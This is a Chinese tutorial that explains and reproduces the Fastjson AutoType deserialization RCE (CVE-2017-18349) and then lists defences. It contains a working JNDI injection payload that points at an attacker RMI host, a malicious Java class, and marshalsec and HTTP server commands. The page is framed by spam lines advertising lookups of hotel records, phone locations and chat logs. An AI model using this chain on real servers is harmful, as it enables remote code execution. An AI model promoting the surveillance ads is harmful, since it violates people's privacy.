Fastjson漏洞原理复现与防护教程
@ 查( 开房记录、手机定位 )
@ 查( 外卖地址、聊天记录 )
Fastjson 是阿里巴巴开源的一款高性能 JSON 库,在 Java 开发中应用极其广泛。然而,由于其早期版本中 AutoType(自动类型识别)机制的设计缺陷,导致了多次严重的反序列化远程代码执行(RCE)漏洞。
本教程将深入剖析其核心原理,并以经典的 CVE-2017-18349 为例进行复现讲解,最后提供全面的防护方案。
🧐 漏洞原理:危险的“自动类型”
Fastjson 的核心功能是在 Java 对象和 JSON 字符串之间进行转换。为了方便,它引入了一个特殊字段 @type,允许开发者在 JSON 中指定需要被还原成的 Java 类。
漏洞的根源就在于此: 在 1.2.24 及之前的许多版本中,Fastjson 对 @type 指定的类缺乏严格的安全校验。攻击者可以构造一个恶意的 JSON 字符串,让服务器在反序列化时,实例化一个攻击者指定的、存在于服务器环境中的危险类(Gadget),并调用其方法,最终导致任意代码执行。
这个过程就像小区的门卫,只要访客说自己是“送快递的”,就无条件放行,而不核实其真实身份和包裹内容。
💥 经典漏洞复现 (以 CVE-2017-18349 为例)
这个漏洞是利用链最经典、最广为人知的一个,其核心是利用了 JDK 自带的 com.sun.rowset.JdbcRowSetImpl 类。
攻击链路分析
整个攻击过程环环相扣,可以分为以下几个步骤:
构造恶意 Payload攻击者构造一个包含
@type字段的 JSON 数据,指定类为JdbcRowSetImpl,并设置其属性。{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker.com:1099/Exploit", "autoCommit": true }@type: 告诉 Fastjson 将这个 JSON 对象反序列化为JdbcRowSetImpl类。dataSourceName: 设置为攻击者控制的 RMI/LDAP 服务地址。autoCommit: 设置为true,这会触发JdbcRowSetImpl的setAutoCommit()方法。触发 JNDI 查询当存在漏洞的服务器解析这段 JSON 时,会创建
JdbcRowSetImpl实例,并调用setAutoCommit(true)。这个方法内部会尝试连接dataSourceName指定的数据源,而连接的方式正是通过 JNDI (Java Naming and Directory Interface)。于是,受害服务器会向攻击者的 RMI 服务发起查询请求。返回恶意类引用攻击者预先搭建好的 RMI/LDAP 服务接收到查询后,不会返回真正的数据库连接信息,而是返回一个指向恶意 Java 类的
Reference对象。这个恶意类通常托管在攻击者控制的 HTTP 服务器上。加载并执行恶意代码受害服务器的 JNDI 机制会根据
Reference中的地址,从攻击者的 HTTP 服务上下载并加载这个恶意的.class文件。一旦加载,恶意类的静态代码块或构造函数就会被执行,从而实现攻击者预设的命令,例如反弹 Shell、读取敏感文件等。
复现实验简述
要亲手复现这个漏洞,你需要准备以下环境:
靶场环境: 一个运行着 Fastjson <= 1.2.24 的应用。可以使用 Vulhub 等工具快速搭建。
攻击机: 一台有公网 IP 的机器,安装了 JDK 1.8。
步骤如下:
编写恶意类 (
Exploit.java)public class Exploit { static { try { // 这里可以执行任意命令,例如弹出计算器或反弹Shell Runtime.getRuntime().exec("open -a Calculator"); // macOS 示例 } catch (Exception e) { e.printStackTrace(); } } }编译它:
javac Exploit.java启动 HTTP 服务在存放
Exploit.class的目录下,启动一个简单的 HTTP 服务来托管恶意类。python3 -m http.server 8888
启动 RMI 服务使用
marshalsec等工具启动一个恶意的 RMI 服务,它会指引受害者去你的 HTTP 服务下载类。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your_attacker_ip:8888/#Exploit" 1099
发送 Payload向靶场应用发送第一步中构造的恶意 JSON,注意将
dataSourceName中的地址替换为你自己的 RMI 服务地址。{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://your_attacker_ip:1099/Exploit", "autoCommit": true }如果一切顺利,靶场服务器上将会执行你恶意类中的代码。
🛡️ 全面防护策略
面对层出不穷的攻击手法,必须采取纵深防御的策略来保护你的应用。
1. 升级版本 (最根本的措施)
立即将 Fastjson 升级到最新的安全版本。强烈建议升级到 1.2.83 及以上版本,该版本修复了大量已知的绕过漏洞。对于新项目,可以考虑迁移到架构更安全、性能更强的 fastjson2。
2. 安全配置 (核心防御)
禁用 AutoType这是最关键的一步。在全局配置中关闭
AutoTypeSupport,可以从根本上阻止任意类的反序列化。// 全局禁用 AutoType ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
启用白名单机制如果业务确实需要使用
@type功能,务必使用白名单机制,只允许可信的类被反序列化。// 添加可信的包名前缀 ParserConfig.getGlobalInstance().addAccept("com.yourcompany.domain."); ParserConfig.getGlobalInstance().addAccept("org.springframework.");警告:不要使用黑名单(
addDeny),因为攻击者总能找到新的危险类来绕过。
3. 安全的编码实践
避免使用不安全的 API尽量避免使用
JSON.parse(String json)这种无类型限制的 API。推荐使用JSON.parseObject(String json, Class<T> clazz),明确指定目标类型。输入验证对所有外部输入的 JSON 数据进行严格的格式和内容校验。
4. JVM 层加固
通过在启动参数中添加以下配置,可以限制 JNDI 从远程加载类的行为,作为最后一道防线。
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
5. 运行时监控
日志审计:记录所有包含
@type字段的请求,便于事后分析和追踪攻击。WAF/RASP:部署 Web 应用防火墙(WAF)或运行时应用自我保护(RASP)工具,实时检测和拦截恶意的 Fastjson 利用 payload。
@ 查( 开房记录、手机定位 )
@ 查( 外卖地址、聊天记录 )
